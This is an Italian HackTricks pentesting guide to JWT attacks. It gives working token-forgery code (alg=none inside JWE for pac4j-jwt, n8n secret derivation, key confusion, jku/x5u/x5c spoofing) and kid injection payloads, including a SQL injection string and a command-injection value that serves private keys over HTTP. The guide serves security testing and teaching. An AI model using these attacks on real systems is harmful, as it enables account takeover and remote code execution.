JWT Vulnerabilities (Json Web Tokens)

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Parte di questo post si basa sul fantastico post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autore del grande tool per pentest dei JWT https://github.com/ticarpi/jwt_tool

Quick Wins

Esegui jwt_tool con la modalità All Tests! e attendi le righe verdi

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Se sei fortunato, lo strumento troverà un caso in cui l’applicazione web sta controllando in modo errato il JWT:

Poi, puoi cercare la richiesta nel tuo proxy oppure scaricare il JWT usato per quella richiesta usando jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Puoi anche usare la Burp Extension SignSaboteur per lanciare attacchi JWT da Burp.

Flusso pratico di assessment JWT

  • Scopa il session control: Scegli una request specifica per l’utente (ad es. profile, billing). Rimuovi cookie/header uno alla volta finché la request viene rifiutata, per isolare quale/i token controllano davvero l’authorization.
  • Individua i JWT nel traffico: Di solito si trovano in Authorization: Bearer <JWT>, ma possono comparire anche in header custom o cookie. Se Burp non li evidenzia, usa Target → Site map → Engagement tools → Search con pattern regex come:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decodifica ed enumera: Usa Burp JWT Editor o python3 jwt_tool.py <JWT> per leggere header/payload. Nota alg, exp/token lifetime e i claim che guidano authn/authz (role, id, username, email, ecc.).
  • Check rapido enforcement della signature: Modifica o elimina alcuni byte nella parte signature e fai replay. Se viene accettato, manca la validazione della signature e puoi manipolare direttamente i claim del payload.
  • Obiettivo: Modificare i claim del payload per elevare i privilegi; ogni attacco sotto punta a far accettare al server un payload manomesso abusando di weak verification, weak secrets o unsafe key selection.

Manomettere i dati senza modificare nulla

Puoi semplicemente manomettere i dati lasciando la signature invariata e verificare se il server sta controllando la signature. Prova a cambiare il tuo username in “admin”, per esempio.

Il token viene controllato?

Per verificare se la signature di un JWT viene validata:

  • Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori verbosi vanno esaminati.
  • Anche un cambiamento nella pagina restituita indica verifica.
  • Nessun cambiamento suggerisce assenza di verifica; in questo caso conviene sperimentare con la manipolazione dei claim del payload.

Origine

È importante determinare se il token è stato generato lato server o lato client esaminando la request history del proxy.

  • I token visti per la prima volta dal lato client suggeriscono che la key potrebbe essere esposta al codice lato client, rendendo necessaria un’ulteriore indagine.
  • I token originati lato server indicano un processo sicuro.

Durata

Controlla se il token dura più di 24h… magari non scade mai. Se c’è un campo “exp”, verifica se il server lo gestisce correttamente.

Brute-force HMAC secret

See this page.

Se l’header usa HS256, esporta il token in un file e prova il cracking offline:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Una volta recuperato il secret, caricalo come chiave simmetrica in Burp JWT Editor e ri-firma i claims modificati.

Deriva i secret JWT da config + dati DB leaked

Se un arbitrary file read (o un backup leak) espone sia application encryption material sia user records, a volte puoi ricreare il JWT signing secret e forgiare session cookies senza conoscere alcuna password in plaintext. Pattern di esempio osservato negli stack di workflow automation:

  1. Leak della app key (es. encryptionKey) da un file di config.
  2. Leak della tabella user per ottenere email, password_hash e user_id.
  3. Deriva il signing secret dalla key, poi deriva il per-user hash atteso nel payload JWT:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Inserisci il token firmato nel cookie di sessione (ad esempio, n8n-auth) per impersonare l’account user/admin anche se l’hash della password è salted.

Modifica l’algoritmo in None

Imposta l’algoritmo usato su “None” e rimuovi la parte di signature.

Usa l’estensione Burp chiamata “JSON Web Token” per provare questa vulnerability e per modificare diversi valori all’interno del JWT (invia la request a Repeater e nella scheda “JSON Web Token” puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo “Alg” su “None”).

JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)

Alcuni stack si aspettano un signed inner JWT racchiuso dentro un encrypted JWE. Nelle versioni vulnerabili di pac4j-jwt (prima di 4.5.9, 5.7.9 e 6.3.3), l’autenticator decifra il JWE, prova a fare il parse del payload come signed JWT e verifica la signature solo se quella conversione ha successo. Se il payload decifrato è un PlainJWT (alg=none), toSignedJWT() restituisce null e il percorso di verifica della signature viene saltato.

  • Pre-reqs:
  • L’applicazione accetta JWE bearer tokens
  • La public key del server è esposta (tipicamente tramite JWKS come /.well-known/jwks.json o /api/auth/jwks)
  • L’autorizzazione dipende da claims controllabili dall’attaccante come sub, role, groups o scope
  • Impact: forgiare un token encrypted per qualsiasi user/role usando solo la public key

Controlli pratici:

  • Enumera la frontend / API docs per trovare indizi come RSA-OAEP-256, A128GCM/A256GCM, jwks o commenti che dicono “inner JWT is signed”.
  • Recupera il JWKS e importa la chiave RSA da n/e.
  • Costruisci manualmente il token interno come base64url(header) + "." + base64url(payload) + "." così che la signature sia vuota.
  • Encrypta quel JWT in plain text come un JWE usando la public key esposta e riproducilo come bearer token.

Costruzione minimale di PlainJWT:

header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)

Cifralo in un JWE compatto con la chiave pubblica RSA del JWKS:

rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)

Notes:

  • Se la tua libreria JWT rifiuta di emettere alg=none, genera manualmente il token compatto come mostrato sopra.
  • Il valore enc deve corrispondere a uno accettato dal target; i commenti del frontend e i token legittimi spesso lo rivelano.
  • Nelle SPA, verifica se il bearer token è memorizzato in sessionStorage, localStorage o in un cookie accessibile da JS; inserire lì il token forgiato spesso basta per validare rapidamente il bypass.

Cambiare l’algoritmo RS256(asymmetric) in HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

L’algoritmo HS256 usa la secret key per firmare e verificare ogni messaggio.
L’algoritmo RS256 usa la private key per firmare il messaggio e usa la public key per l’autenticazione.

Se cambi l’algoritmo da RS256 a HS256, il codice del back end usa la public key come secret key e poi usa l’algoritmo HS256 per verificare la signature.

Quindi, usando la public key e cambiando RS256 in HS256, possiamo creare una signature valida. Puoi recuperare il certificate del web server eseguendo questo:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, importa la chiave pubblica RSA (da /.well-known/jwks.json o un PEM) ed esegui Attack → HMAC Key Confusion Attack per automatizzare il tentativo di nuova firma HS256.

Nuova chiave pubblica dentro l’header

Un attacker incorpora una nuova chiave nell’header del token e il server usa questa nuova chiave per verificare la signature (CVE-2018-0114).

Questo può essere fatto con l’estensione Burp “JSON Web Tokens”.
(Invia la request al Repeater, dentro la scheda JSON Web Token seleziona “CVE-2018-0114” e invia la request).

JWKS Spoofing

Le istruzioni descrivono un metodo per valutare la sicurezza dei token JWT, in particolare quelli che usano una claim di header “jku”. Questa claim dovrebbe puntare a un file JWKS (JSON Web Key Set) che contiene la public key necessaria per la verifica del token.

  • Valutazione dei Token con header “jku”:

  • Verifica l’URL della claim “jku” per assicurarti che porti al file JWKS corretto.

  • Modifica il valore “jku” del token per indirizzarlo verso un web service controllato, consentendo l’osservazione del traffico.

  • Monitoraggio dell’interazione HTTP:

  • Osservare richieste HTTP al tuo URL specificato indica i tentativi del server di recuperare le chiavi dal link fornito.

  • Quando usi jwt_tool per questo processo, è fondamentale aggiornare il file jwtconf.ini con la tua posizione JWKS personale per facilitare il testing.

  • Comando per jwt_tool:

  • Esegui il seguente comando per simulare lo scenario con jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Panoramica dei problemi con kid

Una claim di header opzionale nota come kid viene utilizzata per identificare una chiave specifica, il che diventa particolarmente importante in ambienti in cui esistono più chiavi per la verifica della signature del token. Questa claim aiuta a selezionare la chiave appropriata per verificare la signature di un token.

Rivelare la chiave tramite “kid”

Quando la claim kid è presente nell’header, è consigliato cercare nella web directory il file corrispondente o le sue varianti. Per esempio, se "kid":"key/12345" è specificato, i file /key/12345 e /key/12345.pem dovrebbero essere cercati nella web root.

Path Traversal con “kid”

La claim kid potrebbe anche essere sfruttata per navigare attraverso il file system, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi Server-Side Request Forgery (SSRF) modificando il valore kid per puntare a file o servizi specifici. Manomettere il JWT per cambiare il valore kid mantenendo la signature originale può essere fatto usando il flag -T in jwt_tool, come mostrato di seguito:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, è possibile forgiare un JWT valido. Ad esempio, il file /proc/sys/kernel/randomize_va_space nei sistemi Linux, noto per contenere il valore 2, può essere usato nel parametro kid con 2 come password simmetrica per la generazione del JWT.

Un pattern pratico per il caricamento fragile della chiave dal file system è generare una chiave HS256 con JWK k impostato su AA==, impostare kid su un traversal come ../../../../../../../dev/null, e rifirmare: alcune implementazioni trattano il file vuoto come un secret HMAC valido e accetteranno token falsificati.

SQL Injection via “kid”

Se il contenuto del claim kid viene usato per recuperare una password da un database, una SQL injection potrebbe essere facilitata modificando il payload di kid. Un esempio di payload che usa SQL injection per alterare il processo di signing del JWT include:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Questa alterazione forza l’uso di una chiave segreta nota, ATTACKER, per il signing del JWT.

OS Injection through “kid”

Uno scenario in cui il parametro kid specifica un percorso di file usato in un contesto di esecuzione comandi potrebbe portare a vulnerabilità di Remote Code Execution (RCE). Iniettando comandi nel parametro kid, è possibile esporre chiavi private. Un esempio di payload per ottenere RCE ed esposizione della chiave è:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku sta per JWK Set URL.
Se il token usa un claim Headerjku” allora controlla l’URL fornito. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la Public Key per verificare il token. Modifica il token per far puntare il valore jku a un web service di cui puoi monitorare il traffico.

Per prima cosa devi creare un nuovo certificate con nuove private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. In order to create a valid jku certificate you can download the original one and change the needed parameters.

You can obtain the parametes “e” and “n” from a public certificate using:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Se il verifier recupera il materiale della chiave in remoto, incorpora un URL di Burp Collaborator in jku/x5u usando JWT Editor → Attack → Embed Collaborator payload. Qualsiasi callback conferma un recupero della chiave in stile SSRF; poi ospita il tuo JWKS/PEM a quell’URL e ri-firma con la tua chiave privata così che il servizio validi token mintati dall’attaccante.

x5u

X.509 URL. Un URI che punta a un set di certificati pubblici X.509 (uno standard di formato certificato) codificati in formato PEM. Il primo certificato del set deve essere quello usato per firmare questo JWT. I certificati successivi firmano ciascuno il precedente, completando così la catena dei certificati. X.509 è definito in RFC 52807 . La sicurezza del trasporto è richiesta per trasferire i certificati.

Prova a cambiare questo header con un URL sotto il tuo controllo e verifica se viene ricevuta qualche request. In tal caso potresti manomettere il JWT.

Per forgiare un nuovo token usando un certificato controllato da te, devi creare il certificato ed estrarre le chiavi pubblica e privata:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Poi puoi usare, per esempio, jwt.io per creare il nuovo JWT con le chiavi pubblica e privata create e puntando il parametro x5u al certificato .crt creato.

Puoi anche abusare di entrambe queste vuln per SSRF.

x5c

Questo parametro può contenere il certificato in base64:

Se l’attacker genera un certificato self-signed e crea un token forgiato usando la corrispondente chiave privata e sostituisce il valore del parametro “x5c” con il certificato appena generato e modifica gli altri parametri, cioè n, e e x5t, allora essenzialmente il token forgiato verrebbe accettato dal server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Chiave pubblica incorporata (CVE-2018-0114)

Se il JWT ha incorporato una chiave pubblica come nel seguente scenario:

Usando il seguente script nodejs è possibile generare una chiave pubblica da quei dati:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

È possibile generare una nuova chiave private/public, incorporare la nuova chiave pubblica all’interno del token e usarla per generare una nuova signature:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Puoi ottenere “n” ed “e” usando questo script nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Infine, usando la public e private key e i nuovi valori “n” ed “e” puoi usare jwt.io per forgiare un nuovo JWT valido con qualsiasi informazione.

ES256: Rivelare la private key con lo stesso nonce

Se alcune applicazioni usano ES256 e usano lo stesso nonce per generare due jwt, la private key può essere recuperata.

Ecco un esempio: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

La claim JTI (JWT ID) fornisce un identificatore univoco per un JWT Token. Può essere usata per impedire che il token venga riprodotto.
Tuttavia, immagina una situazione in cui la lunghezza massima dell’ID è 4 (0001-9999). La request 0001 e 10001 useranno lo stesso ID. Quindi, se il backend sta incrementando l’ID a ogni request, potresti abusarne per replay a request (richiedendo di inviare 10000 request tra ogni replay riuscito).

JWT Registered claims

JSON Web Token (JWT)

Altri attacchi

Cross-service Relay Attacks

È stato osservato che alcune web application si affidano a un servizio JWT fidato per la generazione e la gestione dei loro token. Sono stati registrati casi in cui un token, generato per un client dal servizio JWT, veniva accettato da un altro client dello stesso servizio JWT. Se si osserva l’emissione o il rinnovo di un JWT tramite un servizio di terze parti, va considerata la possibilità di registrarsi per un account su un altro client di quel servizio usando lo stesso username/email. Si dovrebbe quindi provare a replay del token ottenuto in una request verso il target per vedere se viene accettato.

  • Un problema critico può essere indicato dall’accettazione del tuo token, consentendo potenzialmente lo spoofing dell’account di qualsiasi utente. Tuttavia, va notato che potrebbe essere necessario il permesso per test più estesi se ci si registra su una applicazione di terze parti, poiché ciò potrebbe entrare in una zona grigia legale.

Expiry Check of Tokens

La scadenza del token viene verificata usando la claim “exp” del Payload. Dato che i JWT sono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e replay del JWT di un altro utente potrebbe consentire l’impersonificazione di quell’utente. Il RFC dei JWT raccomanda di mitigare gli attacchi di replay dei JWT utilizzando la claim “exp” per impostare un tempo di scadenza per il token. Inoltre, è fondamentale l’implementazione da parte dell’applicazione dei controlli rilevanti per garantire l’elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include una claim “exp” e i limiti di tempo per il testing lo consentono, è consigliato memorizzare il token e riprodurlo dopo che il tempo di scadenza è trascorso. Il contenuto del token, inclusi il parsing del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto usando il flag -R di jwt_tool.

  • Potrebbe esserci un rischio di sicurezza se l’applicazione valida ancora il token, poiché ciò potrebbe implicare che il token non possa mai scadere.

Tools

  • jwt_tool – decoding, claim/header tampering, offline secret cracking (-C) and semi-automated attack modes (-M at).
  • Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks